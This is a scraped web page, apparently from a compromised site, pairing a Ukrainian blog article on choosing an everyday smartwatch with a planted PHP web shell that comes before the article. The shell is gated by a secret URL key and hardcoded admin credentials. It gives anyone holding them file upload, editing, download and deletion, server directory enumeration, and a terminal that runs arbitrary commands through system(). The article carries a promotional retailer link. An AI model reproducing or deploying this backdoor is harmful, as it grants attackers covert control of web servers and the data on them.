if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як вибрати смартгодинник для щоденного використання – collectives.berlin

Your digital paradise.

Як вибрати смартгодинник для щоденного використання

При виборі розумного годинника акцентуйте увагу на автономності: https://b-mobile.com.ua/ модель із тривалістю роботи понад 2-3 дні без підзарядки стане оптимальним вибором для активного способу життя. Важливо також оцінити простоту зарядки – модель з бездротовою функцією буде зручнішою у використанні.

Оцініть функціонал: для активних людей підійдуть моделі з активним моніторингом фізичних показників, такими як пульс, кроки та сон. Якщо ж вас цікавить лише основна інформація про дзвінки та повідомлення, простіша модель з базовими функціями може бути більш вигідною.

Зверніть увагу на сумісність з вашими гаджетами: важливо, щоб пристрій безперешкодно синхронізувався з вашим смартфоном. Це забезпечить комфортне отримання сповіщень та контроль за важливими даними.

При виборі дизайну не забудьте про матеріал ремінця та корпусу: металеві чи спортивні варіанти по-різному виглядають і відчуваються на руці. Для ділового стилю підійде класичний варіант, тоді як для активного відпочинку краще обрати легкий та зручний силіконовий ремінець.

Також зверніть увагу на водонепроникність: якщо плануєте носити гаджет на тренуваннях або під час дощу, варто обрати модель із відповідним рівнем захисту.

Оцінка функцій смарт-годинника для повсякденних потреб

Обираючи пристрій, зосередьтеся на функціях моніторингу здоров’я. Пульсометр, датчик сну та трекер фізичної активності є базовими елементами, які допоможуть вам підтримувати фізичну форму і стежити за загальним станом. Крім того, наявність різних режимів тренування зробить ваші заняття більш ефективними і цікавими.

Не менш важливими є комунікаційні можливості. Переконайтеся, що гаджет підтримує повідомлення з ваших телефонних програм, такі як WhatsApp або Facebook Messenger. Інколи зручніше прочитати повідомлення на екрані годинника, ніж діставати телефон. Вибір моделі з можливістю здійснення дзвінків через Bluetooth також підвищить ваше зручство під час активностей.

Перевірте час роботи батареї. Перевага віддається варіантам, що забезпечують мінімум два-три дні автономної роботи. Це дозволить уникнути частих підзарядок, особливо якщо пристрій використовує функції GPS для трекінгу. Додаткові функції, такі як управління музикою та NFC для безконтактних платежів, також можуть позитивно вплинути на щоденне використання.

Як підібрати дизайн і комфорт для щоденного носіння

Зосередьтеся на матеріалах. Металічні та керамічні корпуса виглядають елегантно, але можуть бути важчими. Пластикові моделі легші, проте не завжди надають бажаного статусу. Вибір ремінця також істотний: натуральна шкіра забезпечує комфорт, проте не підходить для активних занять. Силіконові чи текстильні варіанти ідеальні для спорту.

Оцініть розмір і форму екрану. Якщо у вас невеликі зап’ястя, великі екрани можуть виглядати непропорційно. Уникайте моделей з сильно виступаючими краями, вони можуть натирати шкіру. Коло або прямокутний дисплей – це питання вподобання, але враховуйте, що різні форми можуть впливати на зручність використання додатків.

Продумайте стиль, який буде поєднуватися з вашим гардеробом. Універсальні кольори, такі як чорний або сріблястий, легко поєднуються з різними образами. Якщо плануєте носити аксесуар на значних подіях, зверніть увагу на моделі з елементами розкоші: каміння, метали, декоративні деталі можуть підкреслити ваш статус.

Зважайте на функції, що підвищують комфорт. Наявність плавної регулювання ремінця дозволить налаштувати фіт незважаючи на обставини. Заливка вологостійких матеріалів допоможе уникнути дискомфорту в спекотні дні або під час дощу. Найголовніше – аби ви не відчували дискомфорту, саме це дозволить носити аксесуар безперервно.

Leave a Reply

Your email address will not be published. Required fields are marked *